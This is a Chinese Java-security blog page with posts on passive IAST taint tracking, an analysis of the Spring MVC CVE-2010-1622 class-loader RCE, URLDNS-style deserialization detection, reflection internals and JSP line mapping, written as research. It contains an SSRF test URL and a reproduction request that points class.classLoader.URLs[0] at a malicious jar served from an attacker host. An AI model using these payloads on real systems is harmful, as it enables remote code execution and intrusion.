分类 Java 下的文章

聊聊对目前Passive IAST的思考

之前一直有在研究Java插桩应用于安全防御以及检测方面的东西,主要分为RASP和IAST。IAST又叫交互式应用安全测试,它目前主要分为主动式(Active)和被动式(Passive)两种,上个暑假有机会重点接触了一下Passive IAST的一些研究工作。这里打算简单聊聊,也算是一个总结与思考。不会涉及太多技术细节,简单分享下我对的被动式IAST的应用以及优势还有劣势的看法以及存在的一些问题和新的思路。希望能和大家一起交流探讨。

Passive IAST原理

核心

利用Instrumentation API我们可以提供一个Agent代理用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。简单来说就是在运行的应用中织入一个我们的程序。而在这个程序中我们就拥有了获取当前应用的上下文,在应用运行中实时分析数据流以及调用栈的能力,同时也可以通过ASM对已经加载的class进行分析与修改。

在织入我们检测的逻辑代码后,被动式IAST主要是通过污点跟踪的方法来对漏洞进行检测,因为是实时数据流,所以这里我们称为动态污点传播分析。这是与静态扫描中污点分析的一个小区别,而其优势和劣势也主要在这里。

插桩&ASM

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。细节此处也不展开了,具体可以参考这篇文章插桩技术在Java安全中的应用简述

动态污点传播

污点分析可以抽象成一个三元组<sources,sinks,sanitizers>的形式,其中,source即污点源,代表直接引入不受信任的数据或者机密数据到系统中;sink即污点汇聚点,代表直接产生安全敏感操作(违反数据完整性)或者泄露隐私数据到外界(违反数据保密性);sanitizer即无害处理,代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害。污点分析就是分析程序中由污点源引入的数据是否能够不经无害处理,而直接传播到污点汇聚点。如果不能,说明系统是信息流安全的;否则,说明系统产生了隐私数据泄露或危险数据操作等安全问题。简单来说就是我们安全中常说的:一切输入都是有害的。

污点分析的处理过程可以分成以下3个阶段。

(1) 识别污点源和汇聚点

(2) 污点传播分析

(3) 无害处理

简单理解污点分析技术1

除了<sources,sinks,sanitizers>,在实际过程中应该还有个Propagator,它主要是针对一些污点可能丢失的地方增加的方法。
接着我们具体说下动态污点传播,原理都是一样的,而动态主要是结合了插桩技术之后的产物。
举个简单的SSRF例子:

根据代码我们在IAST中设置RequestFacade.getParameter(java.lang.String)为我们设置的Source点;设置Propagator污点传播:如果URL<init>接受的构造参数为污点,那么return值也标记为污点;Sink点最后设置为URL的openConnection()方法,检测接受的污点参数是否为自身。
触发请求
http://localhost:8888/011-ssrf-urlconnection.jsp?url=http://0x7f000001
查看IAST日志

可以看到我们从Source点中获取的污染return值,继续跟踪调用栈
之后接着是URL url = new URL(urlString);

可以看到日志中触发到了URL的构造方法,同时被污染参数也传进去了,程序判断后将return值也标记为污点。
跟进代码可以看到没有问题,此时spec参数是被污染参数。

继续跟进URLConnection urlConnection = url.openConnection();

查看应用中的调用栈,可以看到触发java.net.URL.openConnection()

最后一直往下实际会触发到sun.net.www.protocol.http.openConnection()方法
查看IAST日志

可以发现记录到了这次调用栈,同时发现Sink点java.net.URL.openConnection()进入的自身URL参数为污点,所以报告存在漏洞,由此一次动态的污点跟踪完成。

其实配合插桩动态污点分析主要优势是实时性,这样其实是相对静态污点分析的一个好处,因为静态污点分析更多的依赖分析出数据流图的算法,是可能存在路径爆炸成环问题,而在Java中存在各种动态的语言特性如反射,多态以及新的语法形式,静态污点分析往往对这种特性无能为力。
10934490-image1-2
那IAST的动态污点分析则从本质上排除了种种问题,(如上图)我们通过分析应用实时结果与数据流可以轻松的跳过动态语言特性导致的问题,以及可达性分析算法可能出现的问题。除此以外在结合插桩技术后我们可以获得更多的程序运行实时的上下文信息,这极大的方便了检测时对各类数据分析的全面需求,可以更好的进行一些普通黑盒或者白盒不能完成的漏洞检测。但这同样会导致了一些问题,功在实时,过也在实时。完全的依赖程序自身的运行逻辑是可能导致一些隐式污点传播路径被我们忽略。也就是说这种方法更加依赖交互式自动化测试的全面性,因为它可能出现一些隐式的污点传播路径没有被触发到。其优点和缺点我们后面具体再讨论。

如何存储与处理污点传播

那么在进行插桩中如何存储污点以及如何判断污点呢?虽然我们知道Instrumentation API结合ASM可以修改类,那直接往类里面加一个标记属性不就好了,但我们还要注意的是因为JVM双亲委派的类加载方式的存在,你没有办法轻易的修改Bootstrap ClassLoader加载的核心API,比如Integer,String。当然也是有方法的比如写一个Integer类并编译

在启动时通过java -Xbootclasspath/p:myinteger.jar MyIntegerTest参数去替换核心API
输出如下:

但这样也有点麻烦,而且遇到需要IAST热部署的场景就不行了。

除此以外你可能还会碰见用户自己写的实体类也需要整个标记污点,如果只给几个String,Interger这样的传播参数进行标记显然覆盖面比较少,灵活性不好。同时Java也是存在基本类型的比如byte数组,char这些是没法添加属性的。

如何解决?比较好的方法应该是通过一个Map将所有标记为污点的参数缓存下来(一定时间内删除),同时在其他栈中方法进入参数时去判断参数对象是否Map中containsValue,那么核心就是要设计一个合适的containsValue算法,会涉及到hashcode,equals一些的内容。还有就是将Propagator覆盖全,会减少污点丢失的情况。

Passive IAST优势

大致原理也已经简要说了一些,我们再转过头来看看被动式IAST优势,以及它主要是覆盖什么应用场景。
优势:

  1. 漏报率低,采用污点分析
  2. 检测中无重放数据,不会产生“脏”数据
  3. 检测精度高,可以结合数据流以及请求上下文来分析
  4. 支持代码层面的分析
  5. 支持数据包加密场景
  6. 实时性强,同时可以构造验证漏洞请求包
  7. 操作简单,方便漏洞定位与修复
  8. 解决应用系统安全测试与效率的矛盾

应用场景:

  1. 用于SDL中安全测试环节
  2. 适用于上线前的测试,测试人员无需了解安全
  3. 针对APP存在数据流量加密
  4. 安全人力缺乏状况

被动式与主动式IAST对比

主动式我们以百度开源的openrasp-iast来看,可以关注下https://github.com/baidu-security/openrasp-iast

主动式IAST实际上可以说是DAST+RASP,百度这个项目做了很好的融合,它通过python对Agent转发来的流量进行添加payload后重放,之后通过RASP去判断是否到达最后的Hook点。
它的优势是通过有效的攻击payload去测试,这样可以有一定效果的走入应用中的条件判断,也就是说被动式如果接受一个id参数,应用先去数据库去查询有没有这个值再去进行后面的流程,被动式是没办法自动的感知到这个过程的,会导致当后面触发sink点也会报出来;而主动式因为重放修改过id参数所以可以明确的知道这个值无法往下的流程走,则会减少这样的误报。当然这也引出了另一个问题,主动式会可能有脏数据,虽然说最后漏洞的触发点hook住了,但是没法保证在这个过程中是否有一些安全的方法进行了存储的操作并将这个没用的测试脏数据存进去。

被动式会完全相信用户设置的sanitizers,当污点进入清洁器后是没办法判断用户写的过滤函数是否有效,主动式在这方面有一定优势,虽然payload不会各种各样大量的发,但是有特征如单引号可以在一定程度上提高检测用户写的过滤函数的有效性。也是因为这个原因,实际上被动式漏报会更少,而主动式误报会更少。

至于场景方面,主动式因为要构造请求包重放,当遇到一些加密数据包的场景是没办法很好的覆盖的,反而被动式不需要重放则可以覆盖。不过复现的话主动会更轻松一点,因为它已经给你配好了payload,被动则需要自己再构造一下。在分布式中,各有利弊,被动式污点存取和传播需要考虑更好的方法,主动式对于输出的调用栈可能不是很全面,都可以参考下全链路监控的解决方法。

若按配置完整后的效果来说,当被动式IAST的Source,Sink,Propagator,Sanitizers覆盖范围全,用户提供的sanitizers有效,同时其中的validation可以将一些会进行数据库判断的值排除掉。被动式IAST会更胜一筹,因为它可以获取应用运行时状态的上下文信息更多,主动式目前只是主要关注sink点,而被动式在source和sink都有确定后是可以获取运行上下文以及前后请求的返回数据包,这样其实更能覆盖一些漏洞场景,比如涉及到前端渲染后页面触发的漏洞。

另一方面,也是前面提到过无论被动式还是主动式IAST是依赖用户的测试能力的,比如当执行一个条件判断,可以进入两个分支a,b。而测试只进入了a分支,导致b分支可能触发的漏洞没有发现。实际上也是去静态分析的一个区别。

对特定漏洞场景的新检测方式

因为被动式拥有获取整个应用上下文能力以及实时修改类的能力,那当我们利用这个特性可以达到一些在特定语言规则下检测之前没办法检测漏洞的能力。这里主要提一个对Java中JPA(Java Persistence API)的存储型XSS检测的例子简单说一下。
主要利用了一个DynamicSource,可以说是热更新增加Source点,使用了retransform机制。
大致思路路:在类加载时检测实体类是否带有persistence的注解比如@Entity,@Embedded等,也就是表明这些类与数据库对应表有映射关系,接下来运行中判断下污点进入该类的⽅法名开头是不是set,如果是去找这个类有没有对应getXxx方法,如果有就把getXxx⽅法标记并动态去增加⼀个source点(通过热更新类的方式)。
DynamicSource

我们再来整体看一下这个流程,原理其实就是当一个类和数据库有映射关系时,那么如果我们执行过set对应属性,也就是代表了往这个表存过这个字段的值,我就可以断定这个值是可控的,所以它的get属性方法可以提取到我们写入的污点,则从数据库表中获取这个字段。所以getXxx动态成为一个新的source点。也由此达到了存储型XSS的检测方式。

目前存在的难点与挑战

  • 多classLoader环境可能导致的错误插桩
  • 分布式污点存储以及对比的方法
  • Sink,Source,Propagator需要不断完善
  • 热插拔以及热更新动态策略
  • 欠污染,过污染,隐式污点传播,条件分支判断
  • Sanitizers执行效果验证
  • 插桩对native-image有无解决方案

思考

由于动态执行轨迹并不能完全反映出被执行的指令之间的控制依赖关系,那么是否可以实时加载类后采用静态分析得出的数据流图+Passive IAST,两者相互补充完善,来获取一个更全面的应用数据流图去解决一些分支问题或者隐式污点的预测。
主被动结合,将主动重放的优势配合动态污点,获取一个更准确的可能攻击流和验证Sanitizers效果来减少误报。
缓存每个session中请求触发的调用栈,通过相似度判断来区分当前session的用户身份,是否可能实现一些越权检测的能力。

参考

http://www.jos.org.cn/html/2017/4/5190.htm
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/5.5_taint_analysis.md
https://www.ibm.com/developerworks/cn/java/j-lo-jse61/
https://www.freebuf.com/articles/web/216185.html

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test

在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:

这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
如下:

output:

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。
未命名文件-2

如果我们接着调用

可以获得更多信息

可以看到关键的classLoader出现了

SpringMVC如何实现数据绑定

首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。
屏幕快照 2019-10-17 下午8.49.43
在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。
20170119132139329
过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
如:
tb中有个spouse的属性,也为TestBean

变量覆盖问题

在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo

新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。

测试controller,发送请求

结果:
屏幕快照 2019-10-19 下午1.57.03

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。
屏幕快照 2019-10-19 下午2.14.17
跳到names[0]处理时
屏幕快照 2019-10-19 下午2.12.04
接着看一下它是如何获得对应的类中参数
屏幕快照 2019-10-19 下午2.25.43
跟进getPropertyValue方法
屏幕快照 2019-10-19 下午2.27.20
发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。
Xnip2019-10-19_14-33-40
看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着到赋值操作。
Xnip2019-10-19_14-21-15
看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

漏洞复现

环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

内容为:

编译出的jar包放到web上提供下载

待测试springmvc编写jsp代码

controller如下:

部署并启动tomcat后打开页面
http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/
屏幕快照 2019-10-19 下午6.25.29
成功触发

漏洞原理

通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。
我们来具体看下之后是如何执行的。

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。
屏幕快照 2019-10-19 下午6.27.23
首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。

首先static块里面可以看到引入的外部jar包,然后代码中对应<spring:form><spring:input>标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。
具体看

new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。

发现是这里最后执行了之前tag中写的代码导致RCE。

简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode

限制条件

首先需要该应用使用了对象绑定表单功能,其次由代码可知

需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。

如何修复

Tomcat:
虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

屏幕快照 2019-10-20 下午12.18.55
tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Spring:
spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

参考

https://www.inbreak.net/archives/377
http://drops.xmd5.com/static/drops/papers-1395.html
https://www.exploit-db.com/exploits/13918
https://dingody.iteye.com/blog/2190987
https://wooyun.js.org/drops/Spring框架问题分析.html
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://my.oschina.net/u/1170022/blog/138466
https://blog.csdn.net/xiao1_1bing/article/details/81078649
https://www.iteye.com/topic/1123382
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h

通过HashMap触发DNS检测Java反序列化漏洞

我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法Xnip2019-09-27_17-02-15
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看

这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。

我们可以继续跟进

主要就是这句代码了

屏幕快照 2019-09-27 下午5.15.04
很简单,就是这里最后触发了DNS查询。

也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。

因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。

最后生成的代码为

测试代码

调用栈
屏幕快照 2019-09-28 下午12.38.19

可以看到触发成功
屏幕快照 2019-09-28 下午12.32.02

ysoserial已经有加入这个方式 具体可见:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

参考:

https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

深入理解Java反射中的invoke方法

什么是反射

反射(Reflection)是Java程序开发语言的特征之一,它允许运行中的Java程序获取自身的信息,并且可以操作类或对象的内部属性。主要是指程序可以访问、检测和修改它本身状态或行为的一种能力,并能根据自身行为的状态和结果,调整或修改应用所描述行为的状态和相关的语义。

Oracle 官方对反射的解释是:

Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.
The API accommodates applications that need access to either the public members of a target object (based on its runtime class) or the members declared by a given class. It also allows programs to suppress default reflective access control.

简而言之,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以我们可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。

反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。

Java 反射主要提供以下功能:

  • 在运行时判断任意一个对象所属的类;
  • 在运行时构造任意一个类的对象;
  • 在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
  • 在运行时调用任意一个对象的方法

重点:是运行时而不是编译时

反射的主要用途

很多人都认为反射在实际的 Java 开发应用中并不广泛,其实不然。当我们在使用 IDE(如 Eclipse,IDEA)时,当我们输入一个对象或类并想调用它的属性或方法时,编译器就会自动列出它的属性或方法,这里就会用到反射,当然也有的用到了语法树。

在 Web 开发中,我们经常能够接触到各种可配置的通用框架。为了保证框架的可扩展性,它们往 往借助 Java 的反射机制,根据配置文件来加载不同的类。举例来说,Spring 框架的依赖反转 (IoC),便是依赖于反射机制。

反射invoke实现原理

invoke方法用来在运行时动态地调用某个实例的方法
它的实现代码如下:

1.权限检查

通过代码我们可以看到,首先invoke方法会检查AccessibleObject的override属性的值。而AccessibleObject类是实现了AnnotatedElement,它是Field、Method和Constructor对象的基类。它提供了将反射的对象标记为在使用时取消默认Java语言访问控制检查的能力。对于公共成员、默认(打包)访问成员、受保护成员和私有成员,在分别使用 Field、Method或Constructor对象来设置或获得字段、调用方法,或者创建和初始化类的新实例的时候,会执行访问检查。
override的值默认是false,表示需要权限调用规则。我们常使用的setAccessible方法就是将其设置为true,从而忽略权限规则,调用方法时无需检查权限。
继续往下看,当其需要权限调用则走Reflection.quickCheckMemberAccess,检查方法是否为public,如果是的话跳出本步。如果不是public方法,那么用Reflection.getCallerClass()方法获取调用这个方法的Class对象

这是一个native方法,我们从openJDK源码中去找它的JNI入口(Reflection.c)

具体实现在hotspot/src/share/vm/prims/jvm.cpp
屏幕快照 2019-09-08 下午4.10.28

获取了这个Class对象caller后用checkAccess方法做一次快速的权限校验

这里主要是进行一些基本的权限检查,以及使用缓存机制。

2.调用MethodAccessor的invoke方法

我们主要关注这个流程中的操作

首先要了解Method对象的基本构成,每个Java方法有且只有一个Method对象作为root,它相当于根对象,对用户不可见。当我们创建Method对象时,我们代码中获得的Method对象都相当于它的副本(或引用)。root对象持有一个MethodAccessor对象,所以所有获取到的Method对象都共享这一个MethodAccessor对象,因此必须保证它在内存中的可见性。
而当第一次调用一个Java方法对应的Method对象的invoke()方法之前,实现调用逻辑的MethodAccessor对象还没有创建,所以通过reflectionFactory创建MethodAccessor并更新给root,然后调用MethodAccessor.invoke()完成反射调用。
可以看到invoke方法实际是委派给了MethodAccessor类型的ma对象来处理。MethodAccessor是一个接口,有两个实现类。一个委派实现(DelegatingMethodAccessorImpl),一个本地实现(NativeMethodAccessorImpl)。这里调用的委派实现主要是为了在本地实现和动态实现之间做切换。考虑到许多反射调用仅会执行一次,Java虚拟机设置了一个阈值15(是从0开始计算,>15),当某个反射调用的调用次数<=15 时,采用本地实现;当大于15时,便开始动态生成字节码,并将委派实现的委派对象切换至动态实现。这个过程我们称之为Infation。
这里我们先通过demo测试看一下委派实现对本地实现和动态实现的切换,再具体分析其两种invoke的底层实现。

运行结果

可以看到如果第一次invoke某方法,它实际调用的是本地实现。
接着我们修改一下代码

结果
Xnip2019-09-08_17-06-41
可以看到版本15后切换为动态实现

下面我们来从源码层面分析上述过程
因为methodAccessor实例由reflectionFactory对象操控生成,所以我们先来看一下ReflectionFactory类的源码
屏幕快照 2019-09-08 下午5.23.45
inflationThreshold就是我们之前说的阈值

可以看到newMethodAccessor根据不同的条件分别选择了本地实现和动态实现,动态实现和本地实现相比,其运行效率要快上20倍。这是因为动态实现无需经过Java到C++再到Java的切换,但由于生成字节码十分耗时,仅调用一次的话,反而是本地实现要快上3到4倍。
为了尽可能地减少性能损耗,HotSpot JDK采用我们之前提到的“inflation”的技巧,也就是让Java方法在被反射调用时,开头若干次使用native版,等反射调用次数超过阈值时则生成一个专用的MethodAccessor实现类,生成其中的invoke()方法的字节码,以后对该Java方法的反射调用就会使用Java版本。 这项优化是从JDK 1.4开始的。
实际上如果你看过fastjson源码,就能发现它为了优化性能在json转对象时也加入了这种动态生成的方法,主要也通过使用asm完成。

本地实现

一开始(native版)会生产NativeMethodAccessorImplDelegatingMethodAccessorImpl两个对象。DelegatingMethodAccessorImpl是一个中间层,是为了在native版与Java版的MethodAccessor之间进行切换。
我们主要关注NativeMethodAccessorImpl

每次调用其invoke时会做一个累加,判断是否到达阙值,如果没有则调用native的invoke0方法,当超过时则调用MethodAccessorGenerator.generateMethod(),并将其设置到DelegatingMethodAccessorImpl的delegate,这样下次就会直接调用到动态实现的位置。

下面我们从jvm底层分析这里的native实现invoke0

JVM_InvokeMethod在这里 hotspot/src/share/vm/prims/jvm.cpp 实现
屏幕快照 2019-09-08 下午6.06.08
其关键是

跟进hotspot/src/share/vm/runtime/reflection.cpp

在这之前先对JVM的oop-klass做一个简单的介绍:
1.oop(ordinary object pointer):类型其实是 oopDesc*,在 Java 程序运行的过程中,每创建一个新的对象,在 JVM 内部就会相应地创建一个对应类型的 oop 对象。实际上就是普通对象指针,用于描述对象的实例信息。各种 oop 类的共同基类为 oopDesc 类。
一个OOP对象包含以下几个部分:

  • 对象头 (header)
    • Mark Word,主要存储对象运行时记录信息,如hashcode, GC分代年龄,锁状态标志,线程ID,时间戳等
    • 元数据指针,即指向方法区的instanceKlass实例
  • 实例数据。存储的是真正有效数据,如各种字段内容,各字段的分配策略为longs/doubles、ints、shorts/chars、bytes/boolean、oops(ordinary object pointers),相同宽度的字段总是被分配到一起,便于之后取数据。父类定义的变量会出现在子类定义的变量的前面。
  • 对齐填充。仅仅起到占位符的作用,并非必须。

2.klass:Java类在JVM中的表示,是对Java类的描述。简单的说是Java类在HotSpot中的c++对等体,用来描述Java类。klass是什么时候创建的呢?一般jvm在加载class文件时,会在方法区创建instanceKlass,表示其元数据,包括常量池、字段、方法等。
网上的oop-klass模型示例图很多,我随便找了一个:
2579123-146cd049168f02e
JVM就是用这种方式,将一个对象的数据和对象模型进行分离。普遍意义上来说,我们说持有一个对象的引用,指的是图中的handle(存放在栈区),它是oop(存放在堆区)的一个封装。

我们再看代码Reflection::invoke_method()中接受的method_mirror(oop)就是我们要反射调用的方法。然后代码调用了Reflection::invoke()
跟进之后最终到JavaCalls::call()执行
位于hotspot/src/share/vm/runtime/javaCalls.cpp

最后的os_exception_wrapper其实就是调用了call_help,也就是说本地实现的反射最终的方法执行是通过JavaCalls::call_helper方法来完成的

上面代码中StubRoutines::call_stub()返回的是一个函数指针,在执行上面的call_stub()时,会先将参数先压入堆栈。
这个函数指针指向什么地方呢,这是和机器类型有关的,以X86-32为例,看hotspot/src/cpu/x86/vm/stubGenerator_x86_32.cpp里面
下面大家会看到很多类似汇编指令的代码,其实这些不是指令,而是一个个用来生成汇编指令的方法。JVM是通过MacroAssembler来生成指令的。我会将具体的执行过程通过注释的方式插入到代码中

可以简化来看

它实际首先建立了一个栈帧,这个栈帧里面保存了一些重要的数据,再把Java方法的参数压入栈。当这一步完成,栈帧变成了这个样子:
20190522101723741_YEBRCZ

代码中最终会走call rax相当于call entry_point,entry_point例程和call_stub例程一样,都是用汇编写的来执行Java方法的工具。这个entry_point即解释器入口点,最终的方法执行过程其实是在这里面的。
这个entry_point从何而来,从method->from_interpreted_entry(),从methodOopDesc::link_method中获取address entry = Interpreter::entry_for_method(h_method),也就是说如果不用jit的,直接调用解析器的入口,由解释器再进行操作。

动态实现

主要看MethodAccessorGenerator类generate方法
实际就是通过asm来生成对应的java字节码来调用方法
我们可以简单来分析一下关键代码
屏幕快照 2019-09-09 下午6.49.27
可见动态生成的类名为GeneratedMethodAccessor+编号

我们找到对应的类 来看看它写入字节码的几个关键操作
Xnip2019-09-09_19-04-09
可见代码生成对应的字节码,这段代码主要是需要调用的方法signature等信息放到常量池里,用于后续code区调用

后续生成code区字节码的方法是emitInvoke

可以看到生成的字节码,里面引入了HowReflect.targetMethod
Xnip2019-09-10_22-37-39

最后可以整体看一下字节码反编译成的Java文件,即可以理解为动态实现就是通过生成这样一个java类去调用指定方法。

参考

https://www.sczyh30.com/posts/Java/java-reflection-1/
https://www.jianshu.com/p/4eeb057b509e
https://www.jianshu.com/p/b6cb4c694951
https://www.jianshu.com/p/3b311109050b
https://blog.csdn.net/qq_26222859/article/details/81335542
http://hsmemo.github.io/articles/nolC3LIO6Q.html
https://blog.csdn.net/wenyuan65/article/details/81145900
https://www.iteye.com/blog/xieyj-236704
https://www.jianshu.com/p/b5967bbe02c4
http://www.ishenping.com/ArtInfo/497633.html

根据StackTrace中java行号定位jsp行号的方法

前言

在做相关插桩的研究的过程中发现针对jsp中编写java代码的情况,因为容器会将jsp转为servlet的java文件,所以无法有效的定位到其源jsp文件的内容。
此处以openRASP为例,因为无法有效的定位到jsp文件所在内容,所以会给开发人员寻找具体代码造成困难。
屏幕快照 2019-07-05 下午12.59.51
由此做了相关方面的研究,并给出对应的解决方法。

jsp的编译顺序(Tomcat为例)

  1. getJspConfigPageEncoding
  2. determineSyntaxAndEncoding
  3. 解析成 Node.Nodes parsedPage 对象,即取出所有节点
  4. 解析每个节点

其中在第四步我们主要关注jsp中的java代码(ScriptingElement)是怎么执行的

  1. new一个Node节点,然后把java的字符串完整地赋值给Node的text属性,然后把node添加到Parent Node 队列(List)里面。
  2. 读取这些Nodes,将其转换成java源代码,然后在调用java编译器将源代码编译成class文件。(注意:这个功能相当于是把字符串,转换成了java字节码)

